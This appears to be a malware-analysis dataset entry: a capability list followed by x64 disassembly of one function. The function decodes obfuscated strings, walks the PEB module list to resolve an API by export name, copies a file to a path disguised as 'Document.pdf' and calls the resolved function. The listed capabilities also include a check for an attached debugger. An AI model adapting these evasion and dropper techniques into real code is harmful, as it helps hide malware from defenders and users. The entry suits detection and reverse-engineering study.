Function at 0x1800017e0
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Copy file
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
mov eax, 0x1430
call fcn.180015da0
sub rsp, rax
xor r9d, r9d
lea r8, [rsp + 0x30]
mov edx, 0x104
lea rcx, [0x180056064]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea rdi, str.Z1hDdUlIUg
mov rax, rdi
lea r15, str.________________________________________________456789:_________
nop dword [rax]
movzx ecx, byte [rax]
inc rax
cmp byte [rcx + r15], 0x3f
jbe 0x180001830
sub eax, edi
add eax, 2
cdq
and edx, 3
add eax, edx
sar eax, 2
lea ecx, [rax*2 + 1]
add ecx, eax
movsxd rcx, ecx
call fcn.180008dfc
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.180001160
mov r9d, 0xa
mov r8d, eax
mov rcx, rbx
call fcn.1800010d0
mov rcx, qword gs:[0x60]
xor edi, edi
mov r14, rax
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x20]
add rdx, 0x20
cmp rcx, rdx
je 0x1800018c7
movzx r8d, byte [0x18001f4a1]
movzx r9d, byte [0x18001f4a0]
nop word [rax + rax]
mov rax, qword [rcx + 0x50]
cmp byte [rax], r9b
jne 0x1800018bf
cmp byte [rax + 1], r8b
je 0x180001935
mov rcx, qword [rcx]
cmp rcx, rdx
jne 0x1800018b0
mov r11, rdi
movsxd rax, dword [r11 + 0x3c]
mov r10d, edi
mov ecx, dword [rax + r11 + 0x88]
add rcx, r11
mov esi, dword [rcx + 0x1c]
mov ebp, dword [rcx + 0x24]
add rsi, r11
mov r9d, dword [rcx + 0x20]
add rbp, r11
mov ebx, dword [rcx + 0x18]
add r9, r11
test ebx, ebx
je 0x180001949
nop word [rax + rax]
mov r8d, dword [r9]
mov rax, r14
add r8, r11
sub r8, r14
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180001923
inc rax
test ecx, ecx
jne 0x180001910
test edx, edx
je 0x18000193b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x180001900
jmp 0x180001949
mov r11, qword [rcx + 0x20]
jmp 0x1800018ca
mov eax, r10d
movzx ecx, word [rbp + rax*2]
mov edi, dword [rsi + rcx*4]
add rdi, r11
lea rcx, [rsp + 0x30]
mov qword [0x180092d00], rdi
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180001960
movsd xmm0, qword [str.Document]
lea r9, [rsp + 0x30]
movzx eax, word [0x180056070]
lea r8, str._s.pdf
movsd qword [rcx], xmm0
mov edx, 0x800
mov word [rcx + 8], ax
lea rcx, [rsp + 0x430]
call fcn.180001070
xor r8d, r8d
lea rdx, [rsp + 0x430]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x180001a5c
lea rdi, str.U1xJHlRVVBkfUw
mov rax, rdi
nop word [rax + rax]
movzx ecx, byte [rax]
inc rax
cmp byte [rcx + r15], 0x3f
jbe 0x1800019d0
sub eax, edi
add eax, 2
cdq
and edx, 3
add eax, edx
sar eax, 2
lea ecx, [rax*2 + 1]
add ecx, eax
movsxd rcx, ecx
call fcn.180008dfc
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.180001160
mov r9d, 0xa
mov r8d, eax
mov rcx, rbx
call fcn.1800010d0
lea rcx, [rsp + 0x430]
mov r9, rax
mov qword [rsp + 0x20], rcx
lea r8, str._s__s
lea rcx, [rsp + 0xc30]
mov edx, 0x800
call fcn.180001070
mov rax, qword [0x180092d00]
test rax, rax
je 0x180001a5c
xor edx, edx
lea rcx, [rsp + 0xc30]
call rax
lea r11, [rsp + 0x1430]
xor eax, eax
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret